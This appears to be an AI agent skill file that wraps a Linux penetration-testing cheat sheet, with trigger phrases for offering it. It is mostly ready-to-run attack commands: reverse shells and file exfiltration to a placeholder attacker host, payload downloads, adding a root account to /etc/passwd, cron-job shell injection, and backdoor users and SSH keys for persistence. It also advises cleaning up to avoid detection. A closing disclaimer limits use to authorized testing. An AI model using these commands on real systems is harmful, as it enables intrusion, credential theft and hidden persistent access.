| name | linux-pentesting-command-reference |
| description | Practical Linux command reference for penetration testing covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases. |
| triggers | ["how do I enumerate services on a linux target","show me privilege escalation commands for pentesting","what reconnaissance commands should I use on linux","help me with linux exploitation techniques","what are common post-exploitation commands","show me pentesting enumeration commands for linux","how to perform local recon on a compromised linux system","what commands help with linux privilege escalation"] |
Linux Pentesting Command Reference
Skill by ara.so — Security Skills collection.
Overview
The Linux for a Pentester project is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This reference is built from real-world labs, CTFs, and hands-on practice, focusing on actionable commands rather than theory. It covers the complete pentesting workflow from initial reconnaissance through post-exploitation.
Repository Structure
The notes are organized into six main modules:
- 00-General-Commands: Essential Linux survival commands for daily usage
- 01-Recon: Local and network reconnaissance techniques
- 02-Enumeration: Deep service and user data enumeration
- 03-Exploitation: Shell access, file uploads, and initial foothold techniques
- 04-Privilege-Escalation: Techniques for escalating to root privileges
- 05-Post-Exploitation: Persistence, cleanup, and lateral movement
- Cheatsheets: Quick reference one-liners
Installation
Clone the repository to have offline access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick reference during testing:
cat 04-Privilege-Escalation/README.md
grep -r "sudo" .
find . -type f -name "*.md" -exec grep -l "nmap" {} \;
Key Command Categories
General Commands (Module 00)
Essential commands for navigation and system interaction:
ls -la
cd /path/to/directory
pwd
find / -name "*.conf" 2>/dev/null
cat /etc/passwd
less /var/log/syslog
grep -r "password" .
tail -f /var/log/auth.log
uname -a
whoami
id
hostname
Reconnaissance (Module 01)
Local and network reconnaissance commands:
ip a
ss -tulpn
netstat -ano
arp -a
ps aux
systemctl list-units
cat /etc/issue
cat /etc/*-release
lsb_release -a
cat /etc/passwd
cat /etc/group
w
last
lastlog
Enumeration (Module 02)
Deep service and data enumeration:
find / -perm -4000 2>/dev/null
find / -writable -type d 2>/dev/null
find / -name "*.conf" -o -name "*.config" 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-unit-files --state=enabled
ps aux | grep -i "root"
locate password | grep -i config
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
Exploitation (Module 03)
Common exploitation techniques and payloads:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
nc ATTACKER_IP PORT -e /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
wget http://ATTACKER_IP:8000/file -O /tmp/file
curl http://ATTACKER_IP:8000/file -o /tmp/file
cat /etc/passwd | nc ATTACKER_IP PORT
curl -X POST -d @/etc/passwd http://ATTACKER_IP:PORT/
Privilege Escalation (Module 04)
Techniques for escalating privileges:
find / -perm -4000 -type f 2>/dev/null
sudo -l
sudo -l -U username
openssl passwd -1 -salt salt password123
echo 'newroot:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cronjob.sh
chmod +x /path/to/cronjob.sh
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH
uname -a
searchsploit linux kernel 4.15
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Post-Exploitation (Module 05)
Persistence and lateral movement:
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor
wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh
grep -r "password" /home/ 2>/dev/null
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null
hostname -I
for i in {1..254}; do ping -c 1 192.168.1.$i & done
Common Patterns
Initial Access Workflow
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg
id && hostname && uname -a
cat /etc/passwd | grep -v nologin
sudo -l
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh
Privilege Escalation Checklist
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
find / -writable -type d 2>/dev/null | grep -v proc
grep -r "password" /home/ 2>/dev/null
find / -name "*.conf" -type f -exec grep -i "pass" {} + 2>/dev/null
Troubleshooting
Shell Issues
Problem: Unstable or non-interactive shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
script -qc /bin/bash /dev/null
Problem: Commands not working in reverse shell
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
export TERM=xterm-256color
File Transfer Issues
Problem: wget/curl not available
nc ATTACKER_IP PORT < file
nc -lvp PORT > file
base64 file | nc ATTACKER_IP PORT
nc -lvp PORT | base64 -d > file
scp file user@ATTACKER_IP:/path/
Permission Issues
Problem: Cannot write to common directories
find / -writable -type d 2>/dev/null | grep -v proc
ls -la /dev/shm
ls -la /var/tmp
Enumeration Script Failures
Problem: Automated scripts not running
file linpeas.sh
head -1 linpeas.sh
which bash
bash linpeas.sh
sh linpeas.sh
Integration with AI Agents
When assisting with pentesting tasks, reference specific modules:
cat Linux-for-a-Pentester/01-Recon/network-enumeration.md
grep -r "sudo" Linux-for-a-Pentester/04-Privilege-Escalation/
find Linux-for-a-Pentester -name "*suid*"
Best Practices
- Always stabilize your shell first before running complex commands
- Use 2>/dev/null to suppress error messages in enumeration commands
- Check sudo -l as the first privilege escalation check
- Transfer and run automated enumeration scripts (LinPEAS, LinEnum) for comprehensive coverage
- Document discovered credentials and file paths for later reference
- Clean up artifacts during post-exploitation to avoid detection
Legal Disclaimer
These commands and techniques are for authorized penetration testing and educational purposes only. Always ensure you have explicit written permission before testing any system you do not own.